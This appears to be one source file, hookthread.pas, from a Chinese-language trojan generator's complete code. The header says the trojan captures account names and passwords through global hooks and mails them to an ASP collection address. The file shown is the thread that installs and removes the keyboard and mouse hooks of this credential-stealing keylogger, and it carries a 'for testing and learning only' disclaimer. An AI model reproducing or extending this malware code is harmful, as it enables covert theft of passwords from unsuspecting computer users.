hookthread.pas

面对面 木马生成器 完整代码 程序仅提供测试学习 全局钩子查找句柄截获 使用ASP收信 收信地址明文（测试而已没加密） //本软件主要是截获账号和密码 带了个简单发信

unit HOOKThread;     //HOOK

interface

procedure AllThreadPro(X: Integer); stdcall; // 线程函数

implementation

uses
  Windows,Messages,log;

  // 线程函数  『参数无用』
procedure AllThreadPro(X: Integer); stdcall;
var
  Msg: TMsg;
begin

  HookOn;  // 安装鼠标键盘钩子

  while GetMessage(Msg, 0, 0, 0) do DispatchMessage(Msg);

  HookOff;  // 卸载鼠标键盘钩子

  FreeLibraryAndExitThread(HInstance, X);
end;

end.